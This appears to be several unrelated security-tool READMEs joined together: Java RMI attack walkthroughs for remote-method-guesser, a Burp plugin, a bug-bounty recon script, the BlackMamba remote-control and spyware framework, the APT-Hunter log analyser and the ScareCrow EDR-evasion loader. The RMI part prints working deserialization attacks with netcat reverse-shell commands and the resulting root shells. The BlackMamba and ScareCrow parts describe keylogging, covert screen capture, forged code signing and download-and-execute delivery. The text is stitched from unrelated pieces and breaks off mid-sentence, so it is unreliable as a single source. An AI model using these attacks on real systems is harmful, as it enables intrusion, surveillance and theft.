Apart from remote methods on the application level, RMI endpoints also expose well known remote methods that are needed for the internal RMI communication. Whereas modern RMI servers apply deserialization filters on these well known remote methods (JEP290), older servers may be vulnerable against deserialization attacks too. remote-method-guesser allows to test this by using the act, dgc and reg actions, that perform deserialization attacks on the Activator, Distributed Garbage Collector (DGC) or the RMI registry directly. For testing purposes you can use the sufficiently outdated example server from the the beanshooter repository:

[qtc@kali ~]$ rmg --ssl 172.23.0.2 9010 dgc CommonsCollections6 "nc 172.23.0.1 4444 -e /bin/bash"
[+] Creating ysoserial payload... done.
[+] Attempting ysoserial attack on DGC endpoint...
[+] 
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[...]

[qtc@kali ~]$ nc -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.23.0.2.
Ncat: Connection from 172.23.0.2:38710.
id
uid=0(root) gid=0(root) groups=0(root)

In case of the RMI registry, the deserialization filters may be bypassed by using the JRMPClient or the An Trinh bypass gadgets. These gadgets create an outbound RMI channel that does no longer apply deserialization filters. On this channel, deserialization attacks can be applied as usual, but both bypasses were patched in the most recent versions of Java RMI.

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 reg AnTrinh 172.23.0.1:4444 
[+] 
[+] Attempting deserialization attack on RMI registry endpoint...
[+] 
[+] 	Caught javax.management.BadAttributeValueExpException during deserialization attack.
[-] 	This could be caused by your gadget an the attack probably worked anyway.
[-] 	If it did not work, you can retry with --stack-trace to see the details.

[qtc@kali ~]$ rmg 0.0.0.0 4444 listen CommonsCollections6 "nc 172.23.0.1 4445 -e ash"
[+] Creating a JRMPListener on port 4444.
[+] Handing off to ysoserial...
* Opening JRMP listener on 4444
Have connection from /172.23.0.2:38784
Reading message...
Sending return with payload for obj [0:0:0, 123]

[qtc@kali ~]$ nc -vlp 4445
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 172.23.0.2.
Ncat: Connection from 172.23.0.2:40799.<   br/>id
uid=0(root) gid=0(root) groups=0(root)

During it's enum action, remote-method-guesser informs you whether an Activator is present on the RMI endpoint (legacy RMI mechanism). The default implementation for the Activation system does not implement any deserialization filters for the Activator RemoteObject. Therefore, deserialization attacks on an Activator endpoint should always work. For testing purposes, you can use rmid with a corresponding gadget chain within the class path:

[qtc@kali ~]$ sudo cp /opt/commons-collections-3.1.jar /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext
[qtc@kali ~]$ rmid

[qtc@kali ~]$ rmg 127.0.0.1 1098 act CommonsCollections6 "nc 127.0.0.1 4444 -e /bin/bash"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@kali ~]$ nc -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:34210.
id
uid=1004(qtc) gid=1004(qtc) groups=1004(qtc)

Java RMI supports a feature called codebases, where the client and the server can specify URLs during RMI calls that may be used to load unknown classes dynamically. If an RMI server accepts client specified codebases, this can lead to remote code execution by providing malicious Java classes during the RMI communication.

The codebase configuration on an RMI server can be different for the different components: Activator, DGC, Registry and Application Level. remote-method-guesser allows you to test each component individually by using either --signature <method> (application level), --signature act (activator), --signature dgc (distributed garbage collector) or --signature reg (rmi registry) together with the codebase action.

Application Level

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 codebase Example http://172.23.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name secure-server
[+] Creating RMI Registry object... done.
[+] Attacking signature String login(java.util.HashMap dummy1) (codebase attack)
[+] Target name specified. Only attacking bound name: secure-server
[+] 
[+] Current bound name: secure-server
[+] 	Found non primitive argument type on position 0
[+] 	RMI object tries to connect to different remote host: iinsecure.dev
[+] 		Redirecting the connection back to 172.23.0.2... 
[+] 		This is done for all further requests. This message is not shown again. 
[+] 	Invoking remote method...

[qtc@kali ~]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.23.0.2 - - [13/Jan/2021 07:17:10] "GET /Example.class HTTP/1.1" 200 -

RMI Registry

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 codebase Example 172.23.0.1:8000 --signature reg
[+] Attempting codebase attack on RMI registry endpoint...
[+] Using class Example with codebase http://172.23.0.1:8000/ during lookup call.

[qtc@kali www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.23.0.2 - - [13/Jan/2021 07:45:48] "GET /Example.class HTTP/1.1" 200 -

Distributed Garbage Collector

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 codebase Example 172.23.0.1:8000 --signature dgc
[+] Attempting codebase attack on DGC endpoint...
[+] Using class Example with codebase http://172.23.0.1:8000/ during clean call.

[qtc@kali www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.23.0.2 - - [13/Jan/2021 07:48:31] "GET /Example.class HTTP/1.1" 200 -

Activator

[qtc@kali ~]$ rmg 127.0.0.1 1098 codebase Example 127.0.0.1:8000 --signature act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class Example with codebase http://127.0.0.1:8000/ during activate call.

[qtc@kali www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [29/Jan/2021 06:59:43] "GET /Example.class HTTP/1.1" 200 -

As already demonstrated above, it is sometimes required to provide a malicious JRMPListener, which serves deserialization payloads to incomming RMI connections. Writing such a listener from scratch is not necessary, as it is already provided by the ysoserial project. However, remote-method-guesser provides a wrapper around the ysoserial implementation, which lets you spawn a JRMPListener by using the usual rmg syntax:

[qtc@kali ~]$ rmg 0.0.0.0 4444 listen CommonsCollections6 "touch /dev/shm/test"
[+] Creating a JRMPListener on port 4444.
[+] Handing off to ysoserial...
* Opening JRMP listener on 4444

Despite being none of the available actions, sample generation is another useful feature of remote-method-guesser and can be enabled during the guess action. In some situations, RMI endpoints expose methods that sound interesting on their own, without thinking about deserialization or codebase attacks. Consider the example above, where the plain-server bound name exposes such promising methods:

[+] Listing successfully guessed methods:
[+] 	-  plain-server
[+] 		--> String system(String dummy, String[] dummy2)
[+] 		--> String execute(String dummy)

Depending on the situation, it might be desired to invoke these methods using legitimate RMI calls, but writing the corresponding Java code manually is a tedious work. By using the --create-samples parameter, you can create sample code for successfully guessed remote methods automatically. By using the --signature and --bound-name options, it is also possible to generate code only for one already known method. The following command generates the required Java code to invoke the execute method on the plain-server bound name:

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 guess --create-samples --signature "String execute(String dummy)" --bound-name plain-server
[+] Creating RMI Registry object... done.
[+] 
[+] Starting Method Guessing:
[+] 	Target name specified. Only guessing on bound name: plain-server.
[+] 	Guessing 1 method signature(s).
[+] 	Method signature: String execute(String dummy).
[+] 	
[+] 	Current bound name: plain-server.
[+] 		RMI object tries to connect to different remote host: iinsecure.dev.
[+] 			Redirecting the connection back to 172.23.0.2... 
[+] 			This is done for all further requests. This message is not shown again. 
[+] 		Guessing methods...
[+]
[+] 			HIT! Method with signature String execute(String dummy) exists!
[+] 		
[+] 
[+] Listing successfully guessed methods:
[+] 	-  plain-server
[+] 		--> String execute(String dummy)
[+] 
[+] Starting creation of sample files:
[+] <   br/>[+] 	Creating samples for bound name plain-server.
[+] 		Writing sample file /home/qtc/rmg-samples/plain-server/IPlainServer.java
[+] 		Writing sample file /home/qtc/rmg-samples/plain-server/execute/execute.java

For a successful RMI call you always need an interface definition and the code for the actual method code itself. The interface file created by remote-method-guesser (IPlainServer.java) can be compiled right away, whereas the actual method call (execute.java) contains a TODO for each method argument.

[qtc@kali ~]$ grep -A 5 "TODO" /home/qtc/rmg-samples/plain-server/execute/execute.java
            java.lang.String argument0 = TODO;

            System.out.print("[+] Invoking method execute... ");
            java.lang.String response = stub.execute(argument0);
            System.out.println("done!");

For this demonstration, TODO is replaced by the String id, as the method name execute could mean that the argument is used for command execution. After making this substitution and compiling the two generated files, the remote method can be invoked:

[qtc@kali ~]$ cd /home/qtc/rmg-samples/plain-server/
[qtc@kali plain-server]$ javac IPlainServer.java -d .
[qtc@kali plain-server]$ sed -i -e 's/TODO/"id"/' execute/execute.java 
[qtc@kali plain-server]$ javac execute/execute.java -d .
[qtc@kali plain-server]$ java execute
[+] Connecting to registry on 172.18.0.2:1090... done!
[+] Starting lookup on plain-server... 
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+]	Redirecting the connection back to 172.18.0.2... 
[+]	This is done for all further requests. This message is not shown again. 
[+] Invoking method execute... done!
[+] The servers response is: uid=0(root) gid=0(root) groups=0(root)

remote-method-guesser guesses remote methods based on a wordlist approach. Corresponding wordlists are shipped within this repository and are contained within the wordlist directory. Wordlists are stored using an optimized rmg-internal format:

<RETURN_VALUE> <METHODNAME>(<ARGUMENTS>); <METHOD_HASH>; <IS_PRIMITIVE>; <IS_VOID>;

The first three placeholders should be self explanatory and match the format of a common Java method signature. The last three placeholders describe the following properties of a function:

1. <METHOD_HASH>: The method hash that is used by RMI internally to identify the remote method.
2. <IS_PRIMITIVE>: Describes whether the first function parameter is a primitive type or not.
3. <IS_VOID>: Describes whether the function takes parameters or not (yes, the name is a little bit misleading).

All this information is used to speed up RMI calls and to reduce the amount of dynamic class generation. The resulting wordlist files look like this:

[qtc@kali wordlists]$ head -n 5 rmg.txt 
boolean call(String dummy, String dummy2, String dummy3); 2142673766403641873; false; false
boolean call(String dummy, String dummy2); -9048491806834107285; false; false
boolean call(String dummy, String[] dummy2); 7952470873340381142; false; false
boolean call(String dummy); -5603201874062960450; false; false
boolean call(String[] dummy); -4301784332653484516; false; false

However, remote-method-guesser is also able to process non-optimized wordlists that contain plain function signatures:

[qtc@kali wordlists]$ cat custom_wordlist.txt
boolean example_signature(String test)
[qtc@kali wordlists]$ rmg --ssl 172.18.0.2 1090 guess
[+] Connecting to RMI registry... done.
[+] Obtaining a list of bound names... done.
[+] 3 names are bound to the registry.
[+] 3 wordlist files found.
[+] Reading method candidates from file /opt/remote-method-guesser/wordlists/rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from file /opt/remote-method-guesser/wordlists/custom_wordlist.txt
[+] 	1 methods were successfully parsed.
[...]

Furthermore, by using the --update switch during the guess action, remote-method-guesser updates your wordlist to the optimized format:

[qtc@kali wordlists]$ cat custom_wordlist.txt
boolean example_signature(String test); -8079561808652318592; false; false

By default, remote-method-guesser expects wordlists to be located at /opt/remote-method-guesser/wordlists. If this configuration does not fit for you, you can change the default location within the configuration file. For dynamic changes you can also use the --wordlist-file and --wordlist-folder options.

Template files are used by remote-method-guesser for sample generation. They are located in the templates folder and contain all the Java code required for sample generation (apart from some placeholders). During the sample generation process, rmg simply replaces the placeholders with appropriate values for the current remote method.

It is generally not recommended to modify the template files, but it is of cause possible if you know what you are doing. However, keep in mind that template files should stay generic and that the different placeholders are usually required to guarantee this.

As automatically generated sample files contain content that is controlled by the remote server (bound names, class names and package names), it is generally a security risk to compile and execute them. remote-method-guesser tries to reduce the risk by applying input filtering to the above mentioned components. In some situations, this can be annoying. Especially bound names can contain a wide range of different characters and most of them are rejected by rmg (this is because a whitelist filtering is used, instead of a blacklist). After you reviewed the bound names and corresponding remote classes by using rmg'senum action, you may use the --trusted switch to disable input filtering during sample generation. However, this should only be done after verifying that the remote server does not expose any malicious contents within its bound names or remote class names.

remote-method-guesser provides some command line switches to modify its behavior dynamically, but persistent configuration changes are also quite easy to implement. rmg uses a configuration file to obtain default values for certain options, but it also accepts a different configuration file passed using the --config option. The current default configuration looks like this:

template-folder  = /opt/remote-method-guesser/templates/
wordlist-folder  = /opt/remote-method-guesser/wordlists/
sample-folder    = ./rmg-samples
wordlist-file    =
ysoserial-path   = /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar
threads = 5

For persistent configuration changes, just apply them to the ./src/config.properties file and rebuild rmg as explained above. You can also create a .properties file with your own configuration and feed it into rmg using the --config option.

Version v3.0.0 of remote-method-guesser was heavily influenced by the great blog posts of Hans-Martin Münch and Jake Miller. rmg may appears to be a clone of rmiscout and indeed, the provided functionalities are quite similar now. However, notice that remote-method-guesser was public since 2019 and before rmiscout was released in 2020. In his implementation, Jake did a lot of things better than me and I had to decide whether to throw away my previous work or to adopt some features. I chose the second approach, but implemented the different features slightly different than rmiscout. Still, huge credits to Jake for his idea of bruteforcingremote methods without really invoking them. Now the community has two powerful tools to engage RMI servers during blackbox security assessments.

Furthermore, the rmiscout wordlist was obviously copied from the rmiscout project (as you can already tell by the different license agreement). Thanks Jake, for this awesome wordlist of remote methods collected from different GitHub repositories.

Copyright 2021, Tobias Neitzel and the remote-method-guesser contributors.

HaE is used to highlight HTTP requests and extract information from HTTP response messages or request messages.

Read Chinese simplified version (README_zh).

Website: https://gh0st.cn/HaE/

HaE is used to highlight HTTP requests and extract information from HTTP response messages or request messages.

The plugin can custom regular expression to match HTTP response messages. You can decide for yourself whether the corresponding request that meets the custom regular expression match needs to be highlighted and information extracted.

Note: The use of HaE requires a basic regular expression foundation for testers. Since the Java regular expression library is not as elegant or convenient as Python, when using regular expressions, HaE requires users to use () to extract what they need The expression content contains; for example, if you want to match a response message of a Shiro application, the normal matching rule is rememberMe=delete, if you want to extract this content, you need to become (rememberMe=delete).

Load: Extender - Extensions - Add - Select File - Next

The configuration file is initialized when HaE is loaded for the first time. The default configuration file has a built-in regular expression: Email. The initialized configuration file will be placed in the same directory as the BurpSuite Jar package.

In addition to the initial configuration file, there is init.hae, which is used to store the configuration file path; HaE supports custom configuration file paths, and you can select a custom configuration file by clicking the Select File button.

HaE supports three actions:

1. Reload: It can be used when you do not use the HaE UI interface to modify the rules in the configuration file, but directly modify the rules based on the configuration file;
2. New: Add a new rule will automatically add a row of table data, click or double-click to modify the data to automatically save;
3. Delete: When you click to select a rule, press this button to delete the rule.

Note: HaE's operations are based on the form UI, and all operations will be automatically saved.

1. Multi-option custom adaptation requirements;
2. Multi-color classification (colors of BurpSuite): red, orange, yellow, green, cyan, blue, pink, magenta, gray;
3. Color upgrade algorithm: Two regulars expression, the colors are both orange, if the request are matched these, it will be upgraded to red.
4. The configuration file format uses JSON format, the format is

   {name: {"loaded": isLoaded,"regex": regexText, "scope": request/response/any, "action": extract/highlight/any, "color": colorText, "engine": dfa/nfa}}
   

5. Built-in simple cache to reduce the stuttering phenomenon in the multi-regular, big data scenario.

Use RGPerson to generate test data and put it in the root directory file of the website:

Visit the address, you can see the highlighted request in the Proxy-HTTP History, and you can see the response tab contains the MarkINFO tag, which extracts the matched information.

Some regular expression are not ideal in actual combat application scenarios.

There will be some false positives when regular expression matching mobile phone numbers (pure numbers), the mobile phone number processing can be solved:

Original regular expression:

1[3-9]\d{9}

False positive scenario: 12315188888888123, it will match 15188888888, but this paragraph is not a mobile phone number, so the modification rule is:

[^0-9]+(1[3-9]\d{9})[^0-9]+

The mobile phone number required to be matched cannot be a number from 0-9.

A Bash script and Docker image for Bug Bounty reconnaissance, intended for headless use. Low on resources, high on information output.

Helpful? BugBountyScanner helped you net a bounty?

Note: Using the script over a VPN is highly recommended.

It's recommended to run BugBountyScanner from a server (VPS or home server), and not from your terminal. It is programmed to be low on resources, with potentially multiple days of scanning in mind for bigger scopes. The script functions on a stand-alone basis.

You can run the script either as a docker image or from your preferred Debian/Ubuntu system (see below). All that is required is kicking off the script and forgetting all about it! Running the script takes anywhere in between several minutes (for very small scopes < 10 subdomains) and several days (for very large scopes > 20000 subdomains). A 'quick mode' flag is present, which drops some time-consuming tasks such as vulnerability identification, port scanning, and web endpoint crawling.

Docker Hub Link: https://hub.docker.com/r/chvancooten/bugbountyscanner. Images are generated automatically for both the Dev branch (:dev tag) and the Master branch (:latest tag).

You can pull the Docker image from Docker Hub as below.

docker pull chvancooten/bugbountyscanner
docker run -it chvancooten/bugbountyscanner /bin/bash

Docker-Compose can also be used.

version: "3"
services:
  bugbountybox:
    container_name: BugBountyBox
    stdin_open: true
    tty: true
    image: chvancooten/bugbountyscanner:latest
    environment:
    - telegram_api_key=X
    - telegram_chat_id=X
    volumes:
      - ${USERDIR}/docker/bugbountybox:/root/bugbounty
    # VPN recommended :)
    network_mode: service:your_vpn_container
    depends_on:
      - your_vpn_container

Alternatively, you can build the image from source.

git clone https://github.com/chvancooten/BugBountyScanner.git
cd BugBountyScanner
docker build .

If you prefer running the script manually, you can do so.

Note: The script has been built on -and tested for- Ubuntu 20.04. Your mileage may vary with other distro's, but it should work on most Debian-based installs (such as Kali Linux).

git clone https://github.com/chvancooten/BugBountyScanner.git
cd BugBountyScanner
cp .env.example .env # Edit accordingly
chmod +x BugBountyScanner.sh setup.sh
./setup.sh -t /custom/tools/dir # Setup is automatically triggered, but can be manually run
./BugBountyScanner.sh --help
./BugBountyScanner.sh -d target1.com -d target2.net -t /custom/tools/dir --quick

Use --help or -h for a brief help menu.

root@dockerhost:~# ./BugBountyScanner.sh -h
BugBountyHunter - Automated Bug Bounty reconnaissance script

./BugBountyScanner.sh [options]

options:
-h, --help                show brief help
-t, --toolsdir            tools directory (no trailing /), defaults to '/opt'
-q, --quick               perform quick recon only (default: false)
-d, --domain <domain>     top domain to scan, can take multiple
-o, --outputdirectory     parent output directory, defaults to current directory (subfolders will be created per domain)
-w, --overwrite           overwrite existing files. Skip steps with existing files if not provided (default: false)
-c, --collaborator-id     pass a BurpSuite Collaborator BIID to Nuclei to detect blind vulns (default: not enabled)

Note: 'ToolsDir', 'telegram_api_key' and 'telegram_chat_id' ca   n be defined in .env or through Docker environment variables.

example:
./BugBountyScanner.sh --quick -d google.com -d uber.com -t /opt

A note on using Burp Collaborator: Nuclei requires your Burp Collaborator's "BIID". If you are using Burp's hosted Collaborator servers, you can acquire this ID by setting 'Project Options -> Misc -> Poll over unencrypted HTTP' for the server. Then poll the server once from your client, and intercept the ?biid= parameter from the HTTP request using a second Burp client or Wireshark. This is the ID you need (make sure to URL-decode).

• Resource-efficient, suitable for running in the background for a prolonged period of time on a low-resource VPS, home server, or Raspberry Pi
• Telegram status notifications with per-command results
• Extensive CVE and misconfiguration detection with Nuclei (optionally with detection of blind vulnerabilities via Burp Collaborator)
• Subdomain enumeration and live webserver detection
• Web screenshotting and crawling, HTML screenshot report generation
• Retrieving (hopefully sensitive) endpoints from the Wayback Machine
• Identification of interesting parameterized URLs with Gf
• Enumeration of common "temporary" and forgotten files with GoBuster
• Automatic detection of LFI, SSTI, and Open Redirects in URL parameters
• Subdomain takeover detection
• Port scanning (Top 1000 TCP + SNMP)
• 'Quick Mode' for opsec-safe (ish) infrastructure reconnaissance

• amass
• dnsutils
• Go
• gau
• Gf (with Gf-Patterns)
• GoBuster
• gospider
• httpx
• nmap
• Nuclei (with Nuclei-Templates)
• qsreplace
• subjack
• webscreenshot

BlackMamba is a multi client C2/post exploitation framework with some spyware features. Powered by Python 3.8.6 and QT Framework.

Some of BlackMamba features are:

• Multi Client - Supports multiple client connections at the same time.
• Real Time Communication Updates - Real time communication and updates between the client and server.
• Encrypted Communication - Almost all communications are encrypt, with exception of screen video streaming.
• Screenshot Gattering - Get a realtime screenshot from the client.
• Video Streaming - Watch in real time the client screen.
• Client Lock - Lock and unlock the machine of the client.
• Encrypted File Transfer (upload/download) - Download files from the client or uploads files for the client.
• Keylogger - Register all the keys pressed by client.
• Web Downloader - Download files from URLs or content by RAW pages.

SERVER INSTALL

1º - Download the BlackMamba;

2º - Install the PIP packages;

 PyQt5
 Pillow
 PyAutoGUI
 pytest-shutil
 cryptography
 pynput
 pygame

3º - Open the port 65000 and 65005 in your Gateway or Router (the port number is optional);

4º - Create an exception in firewall for BlackMamba or disable it;

5ª - Go to "BlackMamba/bin/profile/socket.txt" and input the port number opened;

 SERVER_IP=0.0.0.0
 PORT=65000
 PORT_VIDEO=65005

 IMPORTANT: Do not change the 0.0.0.0.

6º (OPTIONAL) - Go to BlackMamba folder and open the "keygen.py" file. Copy the result key and paste in the "BlackMamba/bin/profile/crypt_key.py" ;

The BlackMamba use a default cryptography key, is interesting that you change it.

7º - Back to BlackMamba root folder and open the "main.py" file;

WINDOWS
python main.py

GNU/LINUX
sudo chmod 777 main.py
sudo python3.8 main.py

    KALI LINUX
    (sudo chmod 777 main.py)
    (sudo python3 main.py)

8º - Click on the button that have a person icon and plus signal;

9º - Input the path where the Python file will be created, input the both port numbers and the IP address (external or local) of your host, then click on the "Create" button.

CLIENT INSTALL

After create the Client script you'll need to open the script in the host target:

WINDOWS

python script.py

GNU/LINUX

1º Download the packages:

scrot -y
python3-pip -y
python3-tk -y
python3-dev -y

2º sudo python3.8 script.py

KALI LINUX
(sudo python3 script.py)

IMPORTANT: The script of client not have persistence, if you want to do a persistence you'll need to made by yourself. Another important point is that the client script maybe delay some seconds or few minutes for connect/reconnect.

Currently the BlackMamba is on beta stage, this means that the features are all completed but likely to contain a number of known and unknown bugs. Is important reinforce that the majority of critical bugs like crashes or buffer overflow alredy have been solved.

For more information please take a look in the Wiki.

I'm just one person developing the BlackMamba, if anyone finds this tool useful and would like to add some functionality, improve the code performace or improve something in the BlackMamba the best way to get it added is to submit a pull request.

If you want to collaborate but you don't know Python you can help me so much with bug reports, you can do it with Issues :)

Gustavo (Loseys)

(In no particular order)

• Random Davis for help me with video streaming script.
• Wanderson-Magalhaes for GUI inspiration. Tamo junto Wanderson.
• @byt3bl33d3r for README inspiration.
• Vitor for help me with some English translations.

APT-Hunter is Threat Hunting tool for windows event logs which made by purple team mindset to provide detect APT movements hidden in the sea of windows event logs to decrease the time to uncover suspicious activity . this tool will make a good use of the windows event logs collected and make sure to not miss critical events configured to be detected. If you are a Threat Hunter , Incident Responder or forensic investigator , i assure you will enjoy using this tool , why ? i will discuss the reason in this article and how it will make your life easy just it made mine . Kindly note this tool is heavily tested but still a beta version and may contain bugs .

Full information about the tool and how its used in this article : introducing-apt-hunter-threat-hunting-tool-using-windows-event-log

Author :

Twitter : @ahmed_khlief

Linkedin : Ahmed Khlief

The first thing to do is to collect the logs if you didn’t and with powershell log collectors its easy to collect the needed logs automatically you just run the powershell scripts as administrator .

To collect the logs in EVTX format use : windows-log-collector-full-v3-EVTX.ps1

To collect the logs in CSV format use : windows-log-collector-full-v3-CSV.ps1

For Windows users please use the latest release :Latest Release

APT-Hunter built using python3 so in order to use the tool you need to install the required libraries ( python3.9 is not supported yet).

python3 -m pip install -r Requirements.txt

APT-Hunter is easy to use you just use the argument -h to print help to see the options needed .

python3 APT-Hunter.py -h

usage: APT-Hunter.py [-h] [-p PATH] [-o OUT] [-t {csv,evtx}]

-h, --help show this help message and exit

-p PATH, --path PATH path to folder containing windows event logs generated by the APT-Hunter-Log-Collector.ps1

-o OUT, --out OUT output file name

-t {csv,evtx}, --type {csv,evtx} csv ( logs from get-eventlog or windows event log GUI or logs from Get-WinEvent ) , evtx ( EVTX extension windows event log )

--security SECURITY Path to Security Logs

--system SYSTEM Path to System Logs

--scheduledtask SCHEDULEDTASK Path to Scheduled Tasks Logs

--defender DEFENDER Path to Defender Logs

--powershell POWERSHELL Path to Powershell Logs

--powershellop POWERSHELLOP Path to Powershell Operational Logs

--terminal TERMINAL Path to TerminalServices LocalSessionManager Logs

--winrm WINRM Path to Winrm Logs

--sysmon SYSMON Path to Sysmon Logs

-p : provide path to directory containing the extracted using the powershell log collectors ( windows-log-collector-full-v3-CSV.ps1 , windows-log-collector-full-v3-EVTX.ps1 ) .

-o : name of the project which will be used in the generated output sheets

-t : the log type if its CSV or EVTX

The remaining arguments if you want to analyze single type of logs.

python3 APT-Hunter.py -t evtx -p /opt/wineventlogs/ -o Project1

python3 APT-Hunter.py -t csv -p /opt/wineventlogs/ -o Project1

python3 APT-Hunter.py -t evtx --security evtx/security.evtx --powershell evtx/powershell.evtx -o Project2

Project1_Report.xlsx : this excel sheet will include all the events detected from every windows logs provided to APT-Hunter

Project1_TimeSketch.csv : This CSV file you can upload it to timesketch in order to have timeline analysis that will help you see the full picture of the attack .

If you want to learn more about the techniques utlized in this framework please take a look at Part 1 and Part 2

ScareCrow is a payload creation framework for generating loaders for the use of side loading (not injection) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, utilizing a technique to flush an EDR’s hook out the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. ScareCrow can target these DLLs and manipulate them in memory by using the API function VirtualProtect, which changes a section of a process’ memory permissions to a different value, specifically from Execute–Read to Read-Write-Execute.

When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in C:\Windows\System32\. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered. ScareCrow does not copy the entire DLL file, instead only focuses on the .text section of the DLLs. This section of a DLL contains the executable assembly, and by doing this ScareCrow helps reduce the likelihood of detection as re-reading entire files can cause an EDR to detect that there is a modification to a system resource. The data is then copied into the right region of memory by using each function’s offset. Each function has an offset which denotes the exact number of bytes from the base address where they res ide, providing the function’s location on the stack. In order to do this, ScareCrow changes the permissions of the .text region of memory using VirtualProtect. Even though this is a system DLL, since it has been loaded into our process (that we control), we can change the memory permissions without requiring elevated privileges.

Once these the hooks are removed, ScareCrow then utilizes custom System Calls to load and run shellcode in memory. ScareCrow does this even after the EDR hooks are removed to help avoid being detected by non-userland hooked-based telemetry gathering tools such as Event Tracing for Windows (ETW) or other event logging mechanisms. These custom system calls are also used to perform the VirtualProtect call to remove the hooks placed by EDRs, described above, to avoid being detected an any EDR’s anti-tamper controls. This is done by calling a custom version of the VirtualProtect syscall, NtProtectVirtualMemory. ScareCrow utilizes Golang to generate these loaders and then assembly for these custom syscall functions.

ScareCrow loads the shellcode into memory by first decrypting the shellcode, which is encrypted by default using AES encryption with a decryption and initialisation vector key. Once decrypted and loaded, the shellcode is then executed. Depending on the loader options specified ScareCrow will set up different export functions for the DLL. The loaded DLL also does not contain the standard DLLmain function which all DLLs typically need to operate. The DLL will still execute without an issue because the process we load into will look for those export functions and not worry about DLLMain being there.

After

During the creation process of the loader, ScareCrow utilizes a library for blending into the background after a beacon calls home. This library does two things:

• Code signs the Loader: Files that are signed with code signing certificates are often put under less scrutiny, making it easier to be executed without being challenged, as files signed by a trusted name are often less suspicious than others. Most antimalware products don’t have the time to validate and verify these certificates (now some do but typically the common vendor names are included in a whitelist) ScareCrow creates these certificates by using a go package version of the tool limelighter to create a pfx12 file. This package takes an inputted domain name, specified by the user, to create a code signing certificate for that domain. If needed, you can also use your own code signing certificate if you have one, using the valid command-line option.
• Spoof the attributes of the loader: This is done by using syso files which are a form of embedded resource files that when compiled along with our loader, will modify the attribute portions of our compiled code. Prior to generating a syso file, ScareCrow will generate a random file name (based on the loader type) to use. Once chosen this file name will map to the associated attributes for that file name, ensuring that the right values are assigned.

With these files and the go code, ScareCrow will cross compile them into DLLs using the c-shared library option. Once the DLL is compiled, it is obfuscated into a broken base64 string that will be embedded into a file. This allows for the file to be remotely pulled, accessed, and programmatically executed.

The first step as always is to clone the repo. Before you compile ScareCrow you'll need to install the dependencies.

To install them, run following commands:

go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo

Make sure that the following are installed on your OS:

openssl
osslsigncode
mingw-w64

Then build it

go build ScareCrow.go

./ScareCrow -h

  _________                           _________                       
 /   _____/ ____ _____ _______   ____ \_   ___ \_______  ______  _  __
 \_____  \_/ ___\\__  \\_  __ \_/ __ \/    \  \/\_  __ \/  _ \ \/ \/ /
 /        \  \___ / __ \|  | \/\  ___/\     \____|  | \(  <_> )     / 
/_______  /\___  >____  /__|    \___  >\______  /|__|   \____/ \/\_/  
        \/     \/     \/            \/        \/                      
                                                        (@Tyl0us)
“Fear, you must understand is more than a mere obstacle. 
        Fear is a TEACHER. the first one you ever had.”

Usage of ./ScareCrow:
  -I string
        Path to the raw 64-bit shellcode.
  -Loader string
        Sets the type of process that will sideload the malicious payload:
        [*] binary - Generates a binary based payload. (This type does not benfit from any    sideloading)
        [*] control - Loads a hidden control applet - the process name would be rundll32.
        [*] dll - Generates just a DLL file. Can executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
        [*] excel - Loads into a hidden Excel process.
        [*] wscript - Loads into WScript process.
         (default "dll")
  -O string
        Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
  -delivery string
        Generates a one-liner command to download and execute the payload remotely:
        [*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
        [*] hta - Generates a blank hta file co   ntaining the loader along with a MSHTA command to execute the loader remotely in the background.
        [*] macro - Generates an Office macro that will download and execute the loader remotely.
  -domain string
        The domain name to use for creating a fake code signing cert. (e.g. Acme.com) 
  -password string
        The password for code signing cert. Required when -valid is used.
  -sandbox string
        Enables sandbox evasion using IsDomainedJoined calls.
  -url string
        URL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)
  -valid string
        The path to a valid code signing cert. Used instead of -domain if a valid code signing cert is desired.

The Loader determines the type of technique to load the shellcode into the target system. If no Loader option is chosen, ScareCrow will just compile a standard DLL file, that can be used by rundll32, regsvr32, or other techniques that utilize a DLL. ScareCrow utilizes three different types of loaders to load shellcode into memory:

